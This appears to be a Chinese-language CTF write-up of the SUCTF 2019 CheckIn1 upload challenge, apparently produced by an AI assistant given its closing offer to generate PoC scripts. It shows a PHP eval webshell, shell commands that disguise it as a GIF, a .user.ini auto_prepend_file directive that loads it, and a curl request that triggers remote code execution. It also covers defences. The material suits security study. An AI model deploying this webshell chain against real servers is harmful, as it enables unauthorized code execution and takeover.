摘要
本文以 SUCTF 2019 的 CheckIn1 题为例,演示如何通过文件头伪装与目录级 PHP 配置文件(.user.ini)配合,将一句话木马嵌入图片(图片马)并构造成可被自动包含执行的后门,从而实现远程代码执行(RCE)。同时给出复现步骤与防御建议,帮助开发者与安全研究人员理解并防护此类攻击。
目录
-
背景与题目概述
-
关键点与原理解析
-
环境准备
-
攻击复现步骤(示例)
- 4.1 绕过图片检测(文件头伪装)
- 4.2 制作图片马(嵌入一句话木马)
- 4.3 上传并利用 .user.ini 自动包含
- 4.4 获取交互式 WebShell(可选)
-
防御与修复建议
-
注意事项与延伸阅读
-
参考资料
-
背景与题目概述
SUCTF CheckIn1 是一道文件上传类题目。常见防护会通过后缀名检查、mime 类型校验或使用 PHP 的 exif_imagetype() 等函数检测文件头来阻止上传可执行 PHP 文件。本题考点在于:如何在受限上传环境下,将一段 PHP 恶意代码隐藏于合法图片中(图片马),并利用目录级配置文件(如 .user.ini)使该图片在执行目录下的 PHP 文件时被自动包含,从而触发代码执行。
-
关键点与原理解析
- exif_imagetype() 与文件头:exif_imagetype() 根据文件前几个字节判断图片类型。攻击者可在 PHP 代码前加上合法图片签名(如 GIF89a、PNG 签名等),使检测通过。
- 图片马(Polyglot 文件):在合法图片末尾追加一句话木马(webshell),图片仍可被视为图片,但被包含执行时 PHP 会解析并执行其中的代码。
- 目录级 PHP 配置:.user.ini(在 PHP-FPM/CGI 环境)或 .htaccess(Apache)可用来设置 auto_prepend_file 或 auto_append_file,从而在执行该目录下的 PHP 文件时自动包含指定文件。若 .htaccess 无法上传,可尝试通过 .user.ini 达到类似效果(注意服务器环境要求)。
- 生效条件:.user.ini 仅在 CGI/FastCGI/PHP-FPM 等环境且允许用户级配置时生效,且通常有 scan interval(读取间隔),修改后可能不会立即生效。
- 环境准备
本地或靶场准备:
- 一台运行 PHP 的 Web 服务器(建议用 Docker 快速搭建 php-fpm + nginx 或 Apache+mod_php 视题目而定)。
- 可上传文件的 Web 应用(带有后缀和图片检测)。
- 一份一句话木马(例如简单的 PHP webshell)。
- 工具:curl、Python(可用于生成图片马)、AntSword(可选用于连接 WebShell)。
示例一句话木马(仅用于安全测试环境)
<?php @eval($_POST['cmd']); ?>
- 攻击复现步骤(示例)
4.1 绕过图片检测(文件头伪装)
- 方法:在 PHP 代码前加入图片文件头签名,例如 GIF89a。exif_imagetype() 读取文件开头会识别为 GIF,从而放行。
- 示例(伪代码):
- 文件内容 = "GIF89a" + "<?php @eval($_POST['cmd']); ?>"
- 注意:某些检测可能读取更多字节或校验文件尾部,此时需根据检测逻辑调整。
4.2 制作图片马(嵌入一句话木马)
- 使用命令行将图片头与 PHP 代码拼接:
- 使用已有小 GIF/PNG 文件前缀,或直接写入 GIF 标识("GIF89a")并确保文件能够被服务器作为图片识别。
- 示例(Linux 下):
- echo -n -e "GIF89a" > mal.gif
- echo '<?php @eval($_POST["cmd"]); ?>' >> mal.gif
4.3 上传并利用 .user.ini 自动包含
- 若上传页面允许上传 mal.gif,则接下来创建 .user.ini 内容,设置 auto_prepend_file 或 auto_append_file 指向上传的 mal.gif。示例内容:
- auto_prepend_file = "mal.gif"
或 - auto_append_file = "mal.gif"
- auto_prepend_file = "mal.gif"
- 将 .user.ini 上传到同一目录(若上传后缀受限,需绕过限制或通过另一路径放置)。
- 访问该目录下任意 PHP 文件(或目标 PHP 页面),PHP 启动时会先包含 auto_prepend 指定的 mal.gif,进而执行其中的 PHP 代码。
- 若成功,可通过 POST 提交 cmd 参数执行命令:curl -d "cmd=phpinfo();" http://target/vuln.php
4.4 获取交互式 WebShell(可选)
- 上传更完整的一句话木马(如支持文件管理/命令执行的 webshell)。
- 使用 AntSword、Behinder 等工具连接以便交互式操作(仅限授权测试/靶场)。
- 防御与修复建议
- 服务端严格验证上传文件类型:不仅检查扩展名和 mime 类型,还应对文件内容做严格白名单检查,避免仅依赖 exif_imagetype()。
- 对上传目录禁用 PHP 执行:通过服务器配置(如 nginx config, Apache 设置或在 PHP-FPM pool 中配置)将上传目录作为静态资源目录,禁止执行 PHP。
- 禁用目录级配置覆盖或监控 .user.ini/.htaccess 文件的写入:在不需要的情况下关闭 user_ini.filename 或限制其目录可写权限。
- 及时更新 PHP 与 Web 服务器,修补已知漏洞。
- 为上传功能添加额外审计与沙箱运行机制,并对上传文件名、权限、可访问性做严格控制。
- 注意事项与延伸阅读
- .user.ini 的生效依赖于 PHP 的配置(user_ini.filename、user_ini.cache_ttl 等),并非万能。生产环境中可能禁用。
- 某些 Web 应用或防护墙会过滤 PHP 代码片段(如 <?php),可用更隐晦的 payload 或分块注入技巧,但这超出了本文基本示例范围。
- 在真实环境测试前,务必取得授权;本文仅用于靶场学习与安全研究。
- 参考资料
- SUCTF 2019 CheckIn1 相关博客与赛后 writeup(多篇中文博客)
- PHP manual --- exif_imagetype()、auto_prepend_file/auto_append_file、.user.ini 文档
- Web 安全上传绕过与图片马相关技术文章
结语
通过文件头伪装 + 图片马 + 目录级配置文件的组合,可以在某些受限上传场景下实现 RCE。理解这些机制有助于更好地设计防护与检测措施。若需,我可以:
- 根据你提供的目标检测代码,给出更具体的绕过或防御建议;
- 生成可直接复制的脚本或 PoC 文件(仅用于授权测试)。